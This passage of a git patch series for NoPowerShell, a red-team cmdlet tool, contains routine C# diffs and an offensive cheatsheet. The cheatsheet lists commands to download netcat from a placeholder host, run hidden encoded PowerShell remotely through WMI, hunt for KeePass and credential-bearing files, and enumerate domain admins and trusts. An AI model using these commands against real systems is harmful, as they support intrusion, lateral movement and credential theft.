insertions(+), 15 deletions(-) create mode 100644 Source/NoPowerShell/Commands/SmbShare/GetSmbShareCommand.cs diff --git a/Source/NoPowerShell/Commands/Archive/CompressArchiveCommand.cs b/Source/NoPowerShell/Commands/Archive/CompressArchiveCommand.cs index 7f87573..69d3738 100644 --- a/Source/NoPowerShell/Commands/Archive/CompressArchiveCommand.cs +++ b/Source/NoPowerShell/Commands/Archive/CompressArchiveCommand.cs @@ -4,6 +4,7 @@ using NoPowerShell.Arguments; using NoPowerShell.HelperClasses; using System; +using System.IO; using System.IO.Compression; /* @@ -29,7 +30,7 @@ public override CommandResult Execute(CommandResult pipeIn) CompressionLevel cl = CompressionLevel.Optimal; // Determine compression level - switch(compressionLevel.ToLowerInvariant()) + switch (compressionLevel.ToLowerInvariant()) { case "optimal": cl = CompressionLevel.Optimal; @@ -44,8 +45,26 @@ public override CommandResult Execute(CommandResult pipeIn) throw new ArgumentException(string.Format("Unknown compression level: {0}. Possible options: Optimal, NoCompression, Fastest.", compressionLevel)); } - // Compress - ZipFile.CreateFromDirectory(path, destinationPath, cl, false); + // Determine whether input is file or directory + FileAttributes attr = File.GetAttributes(path); + + // Compress directory + if ((attr & FileAttributes.Directory) == FileAttributes.Directory) + { + ZipFile.CreateFromDirectory(path, destinationPath, cl, false); + } + + // Compress file + else + { + FileInfo fi = new FileInfo(path); + + using (FileStream fs = new FileStream(destinationPath, FileMode.Create)) + using (ZipArchive arch = new ZipArchive(fs, ZipArchiveMode.Create)) + { + arch.CreateEntryFromFile(path, fi.Name); + } + } // Return resulting filename _results.Add( diff --git a/Source/NoPowerShell/Commands/Core/WhereObjectCommand.cs b/Source/NoPowerShell/Commands/Core/WhereObjectCommand.cs index 2aa5f99..0a5c55a 100644 --- a/Source/NoPowerShell/Commands/Core/WhereObjectCommand.cs +++ b/Source/NoPowerShell/Commands/Core/WhereObjectCommand.cs @@ -27,6 +27,10 @@ public override CommandResult Execute(CommandResult pipeIn) // Iterate over output lines of previous command in pipe foreach (ResultRecord result in pipeIn) { + // In case property does not exist, skip + if (!result.ContainsKey(property)) + continue; + string tablevalue = result[property].ToLowerInvariant(); string checkvalue = value.ToLowerInvariant(); string cleancheckvalue = checkvalue.TrimStart('*').TrimEnd('*'); diff --git a/Source/NoPowerShell/Commands/Management/GetChildItemCommand.cs b/Source/NoPowerShell/Commands/Management/GetChildItemCommand.cs index d79884e..979759d 100644 --- a/Source/NoPowerShell/Commands/Management/GetChildItemCommand.cs +++ b/Source/NoPowerShell/Commands/Management/GetChildItemCommand.cs @@ -5,6 +5,7 @@ using System.Text; using Microsoft.Win32; using System.Collections; +using System.Collections.Generic; /* Author: @bitsadmin @@ -27,7 +28,7 @@ public override CommandResult Execute(CommandResult pipeIn) string path = _arguments.Get("Path").Value; bool recurse = _arguments.Get("Recurse").Value; int depth = _arguments.Get("Depth").Value; - string searchPattern = _arguments.Get("Include").Value; + string[] searchPatterns = _arguments.Get("Include").Value.Split(new char[] { ',' }); // Registry: // HKLM:\ @@ -49,7 +50,7 @@ public override CommandResult Execute(CommandResult pipeIn) // ..\ // D:\ else - _results = BrowseFilesystem(path, recurse, depth, includeHidden, searchPattern); + _results = BrowseFilesystem(path, recurse, depth, includeHidden, searchPatterns); return _results; } @@ -115,7 +116,7 @@ private CommandResult BrowseEnvironment(string path) return results; } - public static CommandResult BrowseFilesystem(string path, bool recurse, int depth, bool includeHidden, string searchPattern) + public static CommandResult BrowseFilesystem(string path, bool recurse, int depth, bool includeHidden, string[] searchPatterns) { CommandResult results = new CommandResult(); @@ -128,10 +129,18 @@ public static CommandResult BrowseFilesystem(string path, bool recurse, int dept if ((gciDir.Attributes & FileAttributes.ReparsePoint) == FileAttributes.ReparsePoint) return results; - DirectoryInfo[] directories; + List directories = new List(); try { - directories = gciDir.GetDirectories(recurse ? "*" : searchPattern); + if (recurse) + directories.AddRange(gciDir.GetDirectories("*")); + else + { + foreach (string pattern in searchPatterns) + { + directories.AddRange(gciDir.GetDirectories(pattern)); + } + } } catch (UnauthorizedAccessException) { @@ -139,7 +148,11 @@ public static CommandResult BrowseFilesystem(string path, bool recurse, int dept return results; } - FileInfo[] files = gciDir.GetFiles(searchPattern); + List files = new List(); + foreach(string pattern in searchPatterns) + { + files.AddRange(gciDir.GetFiles(pattern)); + } // Enumerate directories foreach (DirectoryInfo dir in directories) @@ -148,7 +161,7 @@ public static CommandResult BrowseFilesystem(string path, bool recurse, int dept continue; // Don't show directories if -Recurse and an -Include filter is set - if (recurse && !string.IsNullOrEmpty(searchPattern)) + if (recurse && !string.IsNullOrEmpty(searchPatterns[0])) continue; ResultRecord currentDir = new ResultRecord() @@ -196,7 +209,7 @@ public static CommandResult BrowseFilesystem(string path, bool recurse, int dept if ((subDir.Attributes & FileAttributes.Hidden) == FileAttributes.Hidden && !includeHidden) continue; - CommandResult currentDir = BrowseFilesystem(subDir.FullName, recurse, depth - 1, includeHidden, searchPattern); + CommandResult currentDir = BrowseFilesystem(subDir.FullName, recurse, depth - 1, includeHidden, searchPatterns); results.AddRange(currentDir); } } @@ -250,7 +263,8 @@ private static string GetModeFlags(FileSystemInfo f) return new ExampleEntries() { new ExampleEntry("Locate KeePass files in the C:\\Users\\ directory", "ls -Recurse -Force C:\\Users\\ -Include *.kdbx"), - new ExampleEntry("List the keys under the SOFTWARE key in the registry", "ls HKLM:\\SOFTWARE") + new ExampleEntry("List the keys under the SOFTWARE key in the registry", "ls HKLM:\\SOFTWARE"), + new ExampleEntry("Search for scripts on the C-drive", "ls -Recurse -Force C:\\ -Include *.cmd,*.bat,*.ps1"), }; } } diff --git a/Source/NoPowerShell/Commands/Management/GetItemPropertyCommand.cs b/Source/NoPowerShell/Commands/Management/GetItemPropertyCommand.cs index 8cd3ad0..ba783b0 100644 --- a/Source/NoPowerShell/Commands/Management/GetItemPropertyCommand.cs +++ b/Source/NoPowerShell/Commands/Management/GetItemPropertyCommand.cs @@ -23,7 +23,7 @@ public override CommandResult Execute(CommandResult pipeIn) // Obtain parameters bool includeHidden = _arguments.Get("Force").Value; string path = _arguments.Get("Path").Value; - string searchPattern = _arguments.Get("Include").Value; + string[] searchPatterns = _arguments.Get("Include").Value.Split(new char[] { ',' }); string name = _arguments.Get("Name").Value; CaseInsensitiveList attributeNames = null; if (!string.IsNullOrEmpty(name)) @@ -43,7 +43,7 @@ public override CommandResult Execute(CommandResult pipeIn) // ..\ // D:\ else - _results = GetChildItemCommand.BrowseFilesystem(path, false, 1, includeHidden, searchPattern); + _results = GetChildItemCommand.BrowseFilesystem(path, false, 1, includeHidden, searchPatterns); return _results; } diff --git a/Source/NoPowerShell/Commands/SmbShare/GetSmbMappingCommand.cs b/Source/NoPowerShell/Commands/SmbShare/GetSmbMappingCommand.cs index 0e1465e..d35bed6 100644 --- a/Source/NoPowerShell/Commands/SmbShare/GetSmbMappingCommand.cs +++ b/Source/NoPowerShell/Commands/SmbShare/GetSmbMappingCommand.cs @@ -53,7 +53,7 @@ public override CommandResult Execute(CommandResult pipeIn) { return new ExampleEntries() { - new ExampleEntry("List network shares on the local machine that are exposed to the network", "Get-NetSmbMapping"), + new ExampleEntry("List network shares on the local machine that are exposed to the network", "Get-SmbMapping"), }; } } diff --git a/Source/NoPowerShell/Commands/SmbShare/GetSmbShareCommand.cs b/Source/NoPowerShell/Commands/SmbShare/GetSmbShareCommand.cs new file mode 100644 index 0000000..413cdbd --- /dev/null +++ b/Source/NoPowerShell/Commands/SmbShare/GetSmbShareCommand.cs @@ -0,0 +1,61 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands.SmbShare +{ + public class GetSmbShareCommand : PSCommand + { + public GetSmbShareCommand(string[] userArguments) : base(userArguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + _results = WmiHelper.ExecuteWmiQuery("Select * From Win32_Share", computername, username, password); + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { + return new CaseInsensitiveList() + { + "Get-SmbShare", + "netshare" // Not official + }; + } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + }; + } + } + + public static new string Synopsis + { + get { return "Retrieves the SMB shares on the computer."; } + } + + public static new ExampleEntries Examples + { + get + { + return new ExampleEntries() + { + new ExampleEntry("List SMB shares on the computer", "Get-SmbShare"), + }; + } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell.csproj b/Source/NoPowerShell/NoPowerShell.csproj index 39b43eb..2b7418a 100644 --- a/Source/NoPowerShell/NoPowerShell.csproj +++ b/Source/NoPowerShell/NoPowerShell.csproj @@ -79,6 +79,7 @@ + @@ -114,6 +115,7 @@ + From 00bdb27380fdb957b957ef8fb4b633e4abdc8a99 Mon Sep 17 00:00:00 2001 From: bitsadmin Date: Sat, 4 Apr 2020 10:59:19 +0200 Subject: [PATCH 09/23] Added Export-CSV cmdlet --- .../Commands/Utility/ExportCsvCommand.cs | 104 ++++++++++++++++++ Source/NoPowerShell/NoPowerShell.csproj | 2 + 2 files changed, 106 insertions(+) create mode 100644 Source/NoPowerShell/Commands/Utility/ExportCsvCommand.cs diff --git a/Source/NoPowerShell/Commands/Utility/ExportCsvCommand.cs b/Source/NoPowerShell/Commands/Utility/ExportCsvCommand.cs new file mode 100644 index 0000000..dc44ff1 --- /dev/null +++ b/Source/NoPowerShell/Commands/Utility/ExportCsvCommand.cs @@ -0,0 +1,104 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; +using System.Collections.Generic; +using System.Text; +using System.IO; + +/* +Author: @bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands.Utility +{ + public class ExportCsvCommand : PSCommand + { + public ExportCsvCommand(string[] arguments) : base(arguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + string path = _arguments.Get("Path").Value; + string encodingstr = _arguments.Get("Encoding").Value; + + if (pipeIn == null || pipeIn.Count == 0) + return null; + + // Determine encoding + Encoding encoding = Encoding.GetEncoding(encodingstr); + + // Initialize output + string[] outlines = new string[pipeIn.Count + 1]; + int currentLine = 0; + + // Compile header + string[] columns = new string[pipeIn[0].Count]; + int i = 0; + foreach(KeyValuePair col in pipeIn[0]) + { + columns[i] = col.Key; + i++; + } + outlines[currentLine] = string.Format("\"{0}\"", (string.Join("\",\"", columns))); + currentLine++; + + // Compile records + foreach (ResultRecord result in pipeIn) + { + // Collect values + string[] values = new string[result.Count]; + i = 0; + foreach(KeyValuePair kvp in result) + { + // Escape quote by double quotes + values[i] = kvp.Value.Replace("\"", "\"\""); + i++; + } + + // Store values + outlines[currentLine] = string.Format("\"{0}\"", (string.Join("\",\"", values))); + currentLine++; + } + + // Save to file with specified encoding + File.WriteAllLines(path, outlines, encoding); + + return null; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Export-Csv", "epcsv" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new StringArgument("Path"), + new StringArgument("Encoding", "Unicode") + }; + } + } + + public static new string Synopsis + { + get { return "Converts objects into a series of comma-separated (CSV) strings and saves the strings in a CSV file."; } + } + + public static new ExampleEntries Examples + { + get + { + return new ExampleEntries() + { + new ExampleEntry("Store list of commands as CSV", @"Get-Command | Export-Csv -Encoding ASCII -Path commands.csv"), + }; + } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell.csproj b/Source/NoPowerShell/NoPowerShell.csproj index 2b7418a..921c71c 100644 --- a/Source/NoPowerShell/NoPowerShell.csproj +++ b/Source/NoPowerShell/NoPowerShell.csproj @@ -65,6 +65,7 @@ false 30000 2 + true @@ -118,6 +119,7 @@ + From 23845fcfce6e71024102d6a993882b9dace8a80a Mon Sep 17 00:00:00 2001 From: bitsadmin Date: Sat, 4 Apr 2020 20:19:11 +0200 Subject: [PATCH 10/23] Improved help and some minor bugfixes and improvements - Added more examples for cmdlets - Get-Command: Added automatic generation of cmdlets list and cheatsheet - Complemented README.md and CHEATSHEET.md with additional commands - Some minor bugfixes and improvements --- CHEATSHEET.md | 157 ++++++++++-------- README.md | 48 +++--- .../Archive/CompressArchiveCommand.cs | 11 +- .../Commands/Archive/ExpandArchiveCommand.cs | 13 +- .../Commands/Core/GetCommandCommand.cs | 100 ++++++++++- .../Commands/Core/GetHelpCommand.cs | 9 + .../DnsClient/ResolveDnsNameCommand.cs | 2 +- .../LocalAccounts/GetLocalGroupCommand.cs | 12 +- .../GetLocalGroupMemberCommand.cs | 2 +- .../LocalAccounts/GetLocalUserCommand.cs | 20 ++- .../Commands/Management/CopyItemCommand.cs | 11 +- .../Management/GetChildItemCommand.cs | 14 +- .../Management/GetComputerInfoCommand.cs | 21 ++- .../Commands/Management/GetContentCommand.cs | 11 +- .../Commands/Management/GetHotFixCommand.cs | 16 +- .../Commands/Management/GetPSDriveCommand.cs | 2 +- .../Commands/Management/GetProcessCommand.cs | 21 ++- .../Management/GetWmiObjectCommand.cs | 10 +- .../Management/InvokeWmiMethodCommand.cs | 12 +- .../Commands/Management/RemoveItemCommand.cs | 10 ++ .../NetTCPIP/GetNetIPAddressCommand.cs | 19 ++- .../NetTCPIP/GetNetNeighborCommand.cs | 2 +- .../Commands/NetTCPIP/GetNetRouteCommand.cs | 20 ++- .../NetTCPIP/TestNetConnectionCommand.cs | 11 +- .../Commands/SmbShare/GetSmbMappingCommand.cs | 11 +- .../Commands/Utility/FormatListCommand.cs | 11 +- .../Commands/Utility/FormatTableCommand.cs | 11 +- .../Utility/InvokeWebRequestCommand.cs | 10 +- .../Commands/Utility/MeasureObjectCommand.cs | 11 +- .../HelperClasses/ResultRecord.cs | 16 ++ Source/NoPowerShell/Program.cs | 21 ++- 31 files changed, 512 insertions(+), 133 deletions(-) diff --git a/CHEATSHEET.md b/CHEATSHEET.md index 93b8ef5..09ead5a 100644 --- a/CHEATSHEET.md +++ b/CHEATSHEET.md @@ -1,70 +1,95 @@ # Cheatsheet Cheatsheet of offensive PowerShell commands that are supported by NoPowerShell. -| Action | Command | Notes | +| Action | Command | Alternative | | - | - | - | -| List all commands supported by NoPowerShell | `Get-Command` | | -| Get help for a command | `Get-Help -Name Get-Process` | Alternative: `man ps` | -| Show current user | `whoami` | Unofficial command | -| List SMB shares of MyServer | `Get-RemoteSmbShare \\MyServer` | Unofficial command | -| List all user groups in domain | `Get-ADGroup -Filter *` | | -| List all administrative groups in domain | `Get-ADGroup -LDAPFilter "(admincount=1)" \| select Name` | | -| List all properties of the Administrator domain user | `Get-ADUser -Identity Administrator -Properties *` | | -| List all Administrative users in domain | `Get-ADUser -LDAPFilter "(admincount=1)"` | | -| List all users in domain | `Get-ADUser -Filter *` | | -| List specific attributes of user | `Get-ADUser Administrator -Properties SamAccountName,ObjectSID` | | -| Show information about the current system | `Get-ComputerInfo` | | -| List all processes containing PowerShell in the process name | `Get-Process \| ? Name -Like *PowerShell*` | | -| List all active local users | `Get-LocalUser \| ? Disabled -EQ False` | | -| List all local groups | `Get-LocalGroup` | | -| List details of a specific group | `Get-LocalGroup Administrators` | | -| List all members of the Administrators group | `Get-LocalGroupMember -Group Administrators` | | -| List all local users | `Get-LocalUser` | | -| List details of a specific user | `Get-LocalUser Administrator` | | -| List all properties of the DC01 domain computer | `Get-ADComputer -Identity DC01 -Properties *` | | -| List all Domain Controllers | `Get-ADComputer -LDAPFilter "(msDFSR-ComputerReferenceBL=*)"` | | -| List all computers in domain | `Get-ADComputer -Filter *` | | -| List specific attributes of user | `Get-ADComputer DC01 -Properties Name,operatingSystem` | | -| Copy file from one location to another | `copy C:\Tmp\nc.exe C:\Windows\System32\nc.exe` | | -| Copy folder | `copy C:\Tmp\MyFolder C:\Tmp\MyFolderBackup` | | -| Locate KeePass files in the C:\Users\ directory | `ls -Recurse -Force C:\Users\ -Include *.kdbx` | | -| List the keys under the SOFTWARE key in the registry | `ls HKLM:\SOFTWARE` | | -| View contents of a file | `Get-Content C:\Windows\WindowsUpdate.log` | | -| List autoruns in the registry | `Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Run \| ft` | | -| List processes | `Get-Process` | | -| List processes on remote host | `Get-Process -ComputerName dc01.corp.local -Username Administrator -Password P4ssw0rd!` | | -| Gracefully stop processes | `Stop-Process -Id 4512,7241` | | -| Kill process | `Stop-Process -Force -Id 4512` | | -| Kill all cmd.exe processes | `Get-Process cmd \| Stop-Process -Force` | | -| Obtain data of Win32_Process class from a remote system and apply a filter on the output | `gwmi "Select ProcessId,Name,CommandLine From Win32_Process" -ComputerName dc01.corp.local \| ? Name -Like *PowerShell* \| select ProcessId,CommandLine` | Explicit credentials can be specified using the `-Username` and `-Password` parameters | -| View details about a certain service | `Get-WmiObject -Class Win32_Service -Filter "Name = 'WinRM'"` | | -| Launch process using WMI | `Invoke-WmiMethod -Class Win32_Process -Name Create "cmd /c calc.exe"` | This can also be done on a remote system | -| Delete a read-only file | `Remove-Item -Force C:\Tmp\MyFile.txt` | | -| Recursively delete a folder | `Remove-Item -Recurse C:\Tmp\MyTools\` | | -| Show all network interfaces | `Get-NetIPAddress -All` | | -| Show the IP routing table | `Get-NetRoute` | | -| List ARP cache | `Get-NetNeighbor` | Alternative: `arp` | -| Send 2 ICMP requests to IP address 1.1.1.1 with half a second of timeout | `Test-NetConnection -Count 2 -Timeout 500 1.1.1.1` | | -| Perform ping with maximum TTL specified | `ping -TTL 32 1.1.1.1` | | -| Perform a traceroute with a timeout of 1 second and a maximum of 20 hops | `Test-NetConnection -TraceRoute -Timeout 1000 -Hops 20 google.com` | | -| Check for open port | `tnc bitsadm.in -Port 80` | | -| List network shares on the local machine that are exposed to the network | `Get-SmbMapping` | | -| Format output as a list | `Get-LocalUser \| fl` | | -| Format output as a list showing only specific attributes | `Get-LocalUser \| fl Name,Description` | | -| Format output as a table | `Get-Process \| ft` | | -| Format output as a table showing only specific attributes | `Get-Process \| ft ProcessId,Name` | | -| Download file from the Internet | `wget http://myserver.me/nc.exe` | When compiled using .NET 2 only supports SSL up to SSLv3 (no TLS 1.1+) | -| Download file from the Internet specifying the destination | `wget http://myserver.me/nc.exe -OutFile C:\Tmp\netcat.exe` | | -| Count number of results | `Get-Process \| measure` | | -| Count number of lines in file | `gc C:\Windows\WindowsUpdate.log \| measure` | | -| Show only the Name in a file listing | `ls C:\ \| select Name` | | -| Show first 10 results of file listing | `ls C:\Windows\System32 -Include *.exe \| select -First 10 Name,Length` | | -| List all members of the "Domain Admins" group | `Get-ADGroupMember "Domain Admins"` | | -| Resolve domain name | `Resolve-DnsName microsoft.com` | Alternatives: `host linux.org`, `Resolve-DnsName -Type MX pm.me` | -| List local shares | `Get-WmiObject -Namespace ROOT\CIMV2 -Query "Select * From Win32_Share Where Name LIKE '%$'"` | Alternative: `gwmi -Class Win32_Share -Filter "Name LIKE '%$'"` | -| Show network interfaces | `Get-NetIPAddress` | Alternatives: `ipconfig`, `ifconfig` | -| Show computer information | `Get-ComputerInfo` | Alternative: `systeminfo` | -| List installed hotfixes | `Get-HotFix` | The output of this cmdlet together with the output of the `Get-ComputerInfo` cmdlet can be provided to [WES-NG](https://github.com/bitsadmin/wesng/) to determine missing patches | -| List local drives | `Get-PSDrive` | | -| Compress folder to zip | `Compress-Archive -Path C:\MyFolder -DestinationPath C:\MyFolder.zip` | Only available when compiled against .NET 4.5+ | -| Extract zip | `Expand-Archive -Path C:\MyArchive.zip -DestinationPath C:\Extracted` | Alternative: `unzip C:\MyArchive.zip`. Only available when compiled against .NET 4.5+ | +| Get the sites from the configuration naming context | `Get-ADObject -LDAPFilter "(objectClass=site)" -SearchBase "CN=Configuration,DC=MyDomain,DC=local" -Properties whenCreated,cn` | | +| Get specific object | `Get-ADObject -Identity "CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=MyDomain,DC=local" -Properties *` | | +| List all global groups | `Get-ADObject -LDAPFilter "(GroupType:1.2.840.113556.1.4.803:=2)" -SearchBase "DC=MyDomain,DC=local"` | | +| List trusts | `Get-ADTrust` | | +| List trusts recursively till depth 3 | `Get-ADTrust -Depth 3` | | +| List all details of a certain trust | `Get-ADTrust -LDAPFilter "(Name=mydomain.com)"` | | +| List specific details of a certain trust | `Get-ADTrust -LDAPFilter "(Name=mydomain.com)" -Properties Name,trustDirection,securityIdentifier` | | +| List all user groups in domain | `Get-ADGroup -Filter *` | | +| List all administrative groups in domain | `Get-ADGroup -LDAPFilter "(admincount=1)" \| select Name` | | +| List all members of the "Domain Admins" group | `Get-ADGroupMember -Identity "Domain Admins"` | `Get-ADGroupMember "Domain Admins"` | +| List all properties of the DC01 domain computer | `Get-ADComputer -Identity DC01 -Properties *` | | +| List all Domain Controllers | `Get-ADComputer -LDAPFilter "(msDFSR-ComputerReferenceBL=*)"` | | +| List all computers in domain | `Get-ADComputer -Filter *` | | +| List specific attributes of the DC01 domain computer | `Get-ADComputer DC01 -Properties Name,operatingSystem` | | +| List all properties of the Administrator domain user | `Get-ADUser -Identity Administrator -Properties *` | | +| List all Administrative users in domain | `Get-ADUser -LDAPFilter "(admincount=1)"` | | +| List all users in domain | `Get-ADUser -Filter *` | | +| List specific attributes of user | `Get-ADUser Administrator -Properties SamAccountName,ObjectSID` | | +| List all users in a specific OU | `Get-ADUser -SearchBase "CN=Users,DC=MyDomain,DC=local" -Filter *` | | +| Show the current user | `whoami` | | +| List SMB shares of MyServer | `Get-RemoteSmbShare \\MyServer` | | +| Extract zip | `Expand-Archive -Path C:\MyArchive.zip -DestinationPath C:\Extracted` | `unzip C:\MyArchive.zip C:\Extracted` | +| Extract zip into current directory | `unzip C:\MyArchive.zip` | | +| Compress folder to zip | `Compress-Archive -Path C:\MyFolder -DestinationPath C:\MyFolder.zip` | `zip C:\MyFolder C:\MyFolder.zip` | +| List all processes containing PowerShell in the process name | `Get-Process \| ? Name -Like *PowerShell*` | | +| List all active local users | `Get-LocalUser \| ? Disabled -EQ False` | | +| Get help for a command | `Get-Help -Name Get-Process` | `man ps` | +| List all commands supported by NoPowerShell | `Get-Command` | | +| List commands of a certain module | `Get-Command -Module ActiveDirectory` | | +| Resolve domain name | `Resolve-DnsName microsoft.com` | `host linux.org` | +| Lookup specific record | `Resolve-DnsName -Type MX pm.me` | | +| Reverse DNS lookup | `Resolve-DnsName 1.1.1.1` | | +| List all active members of the Administrators group | `Get-LocalGroupMember -Group Administrators \| ? Disabled -eq False` | | +| List all local groups | `Get-LocalGroup` | | +| List details of a specific group | `Get-LocalGroup Administrators` | | +| List members of Administrators group on a remote computer using WMI | `Get-LocalGroup -ComputerName Myserver -Username MyUser -Password MyPassword -Name Administrators` | `Get-LocalGroup -ComputerName Myserver -Name Administrators` | +| List all local users | `Get-LocalUser` | | +| List details of a specific user | `Get-LocalUser -Name Administrator` | `Get-LocalUser Administrator` | +| List details of a specific user on a remote machine using WMI | `Get-LocalUser -ComputerName MyServer -Username MyUser -Password MyPassword -Name Administrator` | `Get-LocalUser -ComputerName MyServer Administrator` | +| List drives | `Get-PSDrive` | `gdr` | +| View contents of a file | `Get-Content C:\Windows\WindowsUpdate.log` | `cat C:\Windows\WindowsUpdate.log` | +| Get all hotfixes on the local computer | `Get-HotFix` | | +| Get all hotfixes from a remote computer using WMI | `Get-HotFix -ComputerName MyServer -Username Administrator -Password Pa$$w0rd` | `Get-HotFix -ComputerName MyServer` | +| Locate KeePass files in the C:\Users\ directory | `Get-ChildItem -Recurse -Force C:\Users\ -Include *.kdbx` | `ls -Recurse -Force C:\Users\ -Include *.kdbx` | +| List the keys under the SOFTWARE key in the registry | `ls HKLM:\SOFTWARE` | | +| Search for files which can contain sensitive data on the C-drive | `ls -Recurse -Force C:\ -Include *.xml,*.ini,*.txt,*.cmd,*.bat,*.conf,*.config,*.log,*.reg,*.ps1,*.psm1,*.psd1,*.ps1xml,*.psc1,*.rdp,*.rdg,*.url,*.sql` | | +| List local shares | `Get-WmiObject -Namespace ROOT\CIMV2 -Query "Select * From Win32_Share Where Name LIKE '%$'"` | `gwmi -Class Win32_Share -Filter "Name LIKE '%$'"` | +| Obtain data of Win32_Process class from a remote system and apply a filter on the output | `Get-WmiObject "Select ProcessId,Name,CommandLine From Win32_Process" -ComputerName dc01.corp.local -Username MyUser -Password MyPassword \| ? Name -Like *PowerShell* \| select ProcessId,CommandLine` | `gwmi "Select ProcessId,Name,CommandLine From Win32_Process" -ComputerName dc01.corp.local \| ? Name -Like *PowerShell* \| select ProcessId,CommandLine` | +| View details about a certain service | `Get-WmiObject -Class Win32_Service -Filter "Name = 'WinRM'"` | | +| List processes | `Get-Process` | `ps` | +| List processes on remote host using WMI | `Get-Process -ComputerName dc01.corp.local -Username Administrator -Password P4ssw0rd!` | `ps -ComputerName dc01.corp.local` | +| Gracefully stop processes | `Stop-Process -Id 4512,7241` | | +| Kill process | `Stop-Process -Force -Id 4512` | | +| Kill all cmd.exe processes | `Get-Process cmd \| Stop-Process -Force` | | +| Show information about the system | `Get-ComputerInfo` | `systeminfo` | +| Show information about the system not listing patches | `systeminfo -Simple` | | +| Show information about a remote machine using WMI | `Get-ComputerInfo -ComputerName MyServer -Username MyUser -Password MyPassword` | `Get-ComputerInfo -ComputerName MyServer` | +| Launch process | `Invoke-WmiMethod -Class Win32_Process -Name Create "cmd /c calc.exe"` | | +| Launch process on remote system | `Invoke-WmiMethod -ComputerName MyServer -Username MyUserName -Password MyPassword -Class Win32_Process -Name Create "powershell -NoP -W H -E ZQBjAGgAbwAgACcASABlAGwAbABvACAATgBvAFAAbwB3AGUAcgBTAGgAZQBsAGwAIQAnAA=="` | `iwmi -ComputerName MyServer -Class Win32_Process -Name Create "powershell -NoP -W H -E ZQBjAGgAbwAgACcASABlAGwAbABvACAATgBvAFAAbwB3AGUAcgBTAGgAZQBsAGwAIQAnAA=="` | +| Delete a file | `Remove-Item C:\tmp\MyFile.txt` | `rm C:\tmp\MyFile.txt` | +| Delete a read-only file | `Remove-Item -Force C:\Tmp\MyFile.txt` | | +| Recursively delete a folder | `Remove-Item -Recurse C:\Tmp\MyTools\` | | +| List autoruns in the registry | `Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Run \| ft` | | +| Copy file from one location to another | `Copy-Item C:\Tmp\nc.exe C:\Windows\System32\nc.exe` | `copy C:\Tmp\nc.exe C:\Windows\System32\nc.exe` | +| Copy folder | `copy C:\Tmp\MyFolder C:\Tmp\MyFolderBackup` | | +| Send ICMP request to host | `Test-NetConnection 1.1.1.1` | `tnc 1.1.1.1` | +| Send 2 ICMP requests to IP address 1.1.1.1 with half a second of timeout | `Test-NetConnection -Count 2 -Timeout 500 1.1.1.1` | | +| Perform a traceroute with a timeout of 1 second and a maximum of 20 hops | `Test-NetConnection -TraceRoute -Timeout 1000 -Hops 20 bitsadm.in` | | +| Perform ping with maximum TTL specified | `ping -TTL 32 1.1.1.1` | | +| Check for open port | `tnc bitsadm.in -Port 80` | | +| List ARP table entries | `Get-NetNeighbor` | `arp` | +| Show the IP routing table | `Get-NetRoute` | `route` | +| Show the IP routing table on a remote machine using WMI | `Get-NetRoute -ComputerName MyServer -Username MyUser -Password MyPassword` | `route -ComputerName MyServer` | +| Show network interfaces | `Get-NetIPAddress` | `ipconfig`, `ifconfig` | +| Show all network interfaces | `Get-NetIPAddress -All` | `ipconfig -All` | +| Show all network interfaces on a remote machine using WMI | `Get-NetIPAddress -All -ComputerName MyServer -Username MyUser -Password MyPassword` | `Get-NetIPAddress -All -ComputerName MyServer` | +| List SMB shares on the computer | `Get-SmbShare` | | +| List network shares on the local machine that are exposed to the network | `Get-SmbMapping` | `netuse` | +| Count number of results | `Get-Process \| Measure-Object` | `Get-Process \| measure` | +| Count number of lines in file | `gc C:\Windows\WindowsUpdate.log \| measure` | | +| Download file from the Internet | `Invoke-WebRequest http://myserver.me/nc.exe` | `wget http://myserver.me/nc.exe` | +| Download file from the Internet specifying the destination | `wget http://myserver.me/nc.exe -OutFile C:\Tmp\netcat.exe` | | +| Show only the Name in a file listing | `ls C:\ \| select Name` | | +| Show first 10 results of file listing | `ls C:\Windows\System32 -Include *.exe \| select -First 10 Name,Length` | | +| Sort processes by name descending | `ps \| sort -d name` | | +| Format output as a table | `Get-Process \| Format-Table` | `Get-Process \| ft` | +| Format output as a table showing only specific attributes | `Get-Process \| ft ProcessId,Name` | | +| Format output as a list | `Get-LocalUser \| Format-List` | `Get-LocalUser \| fl` | +| Format output as a list showing only specific attributes | `Get-LocalUser \| fl Name,Description` | | +| Store list of commands as CSV | `Get-Command \| Export-Csv -Encoding ASCII -Path commands.csv` | | diff --git a/README.md b/README.md index 54d8d74..66f5785 100644 --- a/README.md +++ b/README.md @@ -58,7 +58,6 @@ When using NoPowerShell from cmd.exe or PowerShell, you need to escape the pipe # Requested NoPowerShell cmdlets | Cmdlet | Description | | - | - | -| Get-ADTrusts | Unofficial command showing equivalent of `nltest /domain_trusts /all_trusts /v` | | Get-QWinsta | Unofficial command showing equivalent of `qwinsta` / `query session` | | Invoke-Command | Using PSRemoting execute a command on a remote machine (which in that case will of course be logged) | | Get-Service | Include option to also show service paths like in `sc qc` | @@ -74,45 +73,50 @@ Authors of additional NoPowerShell cmdlets are added to the table below. Moreove | | | | | | # Included NoPowerShell cmdlets -| Cmdlet | Category | Notes | +| Cmdlet | Module | Notes | | - | - | - | +| Get-ADObject | ActiveDirectory | | +| Get-ADTrust | ActiveDirectory | | | Get-ADGroup | ActiveDirectory | | | Get-ADGroupMember | ActiveDirectory | | -| Get-ADUser | ActiveDirectory | | | Get-ADComputer | ActiveDirectory | | -| Compress-Archive | Archive | Requires .NET 4.5+ | -| Expand-Archive | 